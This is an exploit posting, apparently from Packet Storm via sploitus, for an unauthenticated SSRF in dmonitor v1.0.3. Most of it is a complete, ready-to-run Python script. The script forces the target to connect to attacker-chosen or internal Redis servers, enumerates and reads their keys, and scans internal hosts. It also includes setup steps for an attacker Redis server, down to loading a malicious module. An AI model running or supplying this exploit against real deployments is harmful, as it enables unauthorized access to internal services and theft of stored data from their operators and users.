Share
## https://sploitus.com/exploit?id=PACKETSTORM:222360
==================================================================================================================================
    | # Title     : dmonitor v1.0.3 โ€“ Unauthenticated SSRF Leading to Redis Access and Data Enumeration                              |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : https://github.com/dhjz/dmonitor                                                                                 |
    ==================================================================================================================================
    
    [+] Summary    : This Python script demonstrates a security vulnerability in dmonitor where unauthenticated requests can influence the application's outbound connections. 
                     The tool interacts with Redis-related API endpoints to assess whether the application can be induced to connect to arbitrary Redis servers specified by a user.
    				 
    [+] POC        : 
    
    #!/usr/bin/env python3
    
    import requests
    import json
    import sys
    import argparse
    from urllib.parse import urljoin
    
    class DMonitorSSRF:
        def __init__(self, target_url):
            self.target_url = target_url.rstrip('/')
            self.session = requests.Session()
            self.redis_connected = False
        
        def init_redis(self, attacker_host, attacker_port=6379, password=""):
            """
            Forces dmonitor to connect to attacker-controlled Redis server
            """
            endpoint = "/monitor-api/redis/initRedis"
            params = {
                "host": attacker_host,
                "port": attacker_port,
                "password": password
            }
            
            print(f"[*] Forcing dmonitor to connect to Redis at {attacker_host}:{attacker_port}")
            
            try:
                response = self.session.get(
                    urljoin(self.target_url, endpoint),
                    params=params,
                    timeout=10
                )
                
                if response.status_code == 200:
                    data = response.json()
                    if data.get("code") == 200:
                        print("[+] Successfully connected to attacker's Redis server")
                        self.redis_connected = True
                        return True
                    else:
                        print(f"[-] Failed: {data.get('msg')}")
                        return False
                else:
                    print(f"[-] HTTP {response.status_code}")
                    return False
                    
            except requests.exceptions.RequestException as e:
                print(f"[-] Connection error: {e}")
                return False
        
        def list_keys(self, keyword=""):
            """
            Lists all keys from the connected Redis server
            """
            if not self.redis_connected:
                print("[-] Redis not initialized. Call init_redis() first")
                return None
                
            endpoint = "/monitor-api/redis/listKey"
            params = {"keyword": keyword}
            
            print(f"[*] Enumerating Redis keys (keyword: '{keyword}')")
            
            try:
                response = self.session.get(
                    urljoin(self.target_url, endpoint),
                    params=params,
                    timeout=10
                )
                
                if response.status_code == 200:
                    data = response.json()
                    if data.get("code") == 200:
                        keys = data.get("data", [])
                        print(f"[+] Found {len(keys)} key(s): {keys}")
                        return keys
                    else:
                        print(f"[-] Failed: {data.get('msg')}")
                        return None
                else:
                    print(f"[-] HTTP {response.status_code}")
                    return None
                    
            except requests.exceptions.RequestException as e:
                print(f"[-] Connection error: {e}")
                return None
        
        def get_key_value(self, key):
            """
            Retrieves the value of a specific key from Redis
            """
            if not self.redis_connected:
                print("[-] Redis not initialized. Call init_redis() first")
                return None
                
            endpoint = "/monitor-api/redis/getByKey"
            params = {"key": key}
            
            print(f"[*] Retrieving value for key: '{key}'")
            
            try:
                response = self.session.get(
                    urljoin(self.target_url, endpoint),
                    params=params,
                    timeout=10
                )
                
                if response.status_code == 200:
                    data = response.json()
                    if data.get("code") == 200:
                        value = data.get("data", {}).get("value")
                        print(f"[+] Value: {value}")
                        return value
                    else:
                        print(f"[-] Failed: {data.get('msg')}")
                        return None
                else:
                    print(f"[-] HTTP {response.status_code}")
                    return None
                    
            except requests.exceptions.RequestException as e:
                print(f"[-] Connection error: {e}")
                return None
        
        def full_exploit(self, attacker_host, attacker_port=6379):
            """
            Complete exploit chain
            """
            print("\n" + "="*60)
            print("dmonitor v1.0.3 - Unauthenticated SSRF Exploit")
            print("="*60 + "\n")
            if not self.init_redis(attacker_host, attacker_port):
                print("[-] Exploit failed at initialization stage")
                return False
            keys = self.list_keys()
            if not keys:
                print("[-] No keys found or enumeration failed")
                return False
            print("\n[*] Exfiltrating data:")
            print("-" * 40)
            for key in keys:
                value = self.get_key_value(key)
                if value:
                    print(f"  {key} => {value}")
            
            print("\n[+] Exploit completed successfully!")
            return True
        
        def internal_scan(self, target_host, target_port, redis_command=""):
            """
            SSRF to internal Redis servers
            """
            print(f"[*] Attempting to connect to internal Redis: {target_host}:{target_port}")
            
            if self.init_redis(target_host, target_port):
                print("[+] Successfully connected to internal Redis server")
                return self.list_keys()
            return None
    
    def setup_attacker_redis():
        """
        Instructions for setting up attacker's Redis server
        """
        print("\n[!] Attacker Redis Server Setup:")
        print("    # Install Redis if not already installed")
        print("    $ sudo apt install redis-server  # Debian/Ubuntu")
        print("    $ brew install redis             # macOS")
        print("    # Or download from https://redis.io/download")
        print("\n    # Start Redis server")
        print("    $ redis-server --port 6379")
        print("\n    # Set test data")
        print("    $ redis-cli set test_key \"SSRF_CONFIRMED\"")
        print("    $ redis-cli set sensitive_data \"SECRET_VALUE\"")
        print("\n    # For advanced exploitation, set up malicious Redis module")
        print("    $ redis-cli MODULE LOAD /path/to/malicious.so")
        print("-" * 60)
    
    def main():
        parser = argparse.ArgumentParser(description='dmonitor v1.0.3 SSRF Exploit')
        parser.add_argument('-t', '--target', required=True, 
                            help='Target dmonitor URL (e.g., http://192.168.1.102:40001)')
        parser.add_argument('-a', '--attacker-host', required=True,
                            help='Attacker-controlled Redis server IP')
        parser.add_argument('-p', '--attacker-port', default=6379, type=int,
                            help='Attacker Redis port (default: 6379)')
        parser.add_argument('-i', '--internal-scan', nargs=2, metavar=('HOST', 'PORT'),
                            help='Scan internal Redis server (SSRF to internal)')
        parser.add_argument('--password', default='',
                            help='Redis password if required')
        
        args = parser.parse_args()
        if len(sys.argv) == 1:
            parser.print_help()
            setup_attacker_redis()
            sys.exit(1)
        
        exploit = DMonitorSSRF(args.target)
        if args.internal_scan:
            internal_host, internal_port = args.internal_scan
            exploit.internal_scan(internal_host, int(internal_port))
        else:
            exploit.full_exploit(args.attacker_host, args.attacker_port)
    
    if __name__ == "__main__":
        main()
    	
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================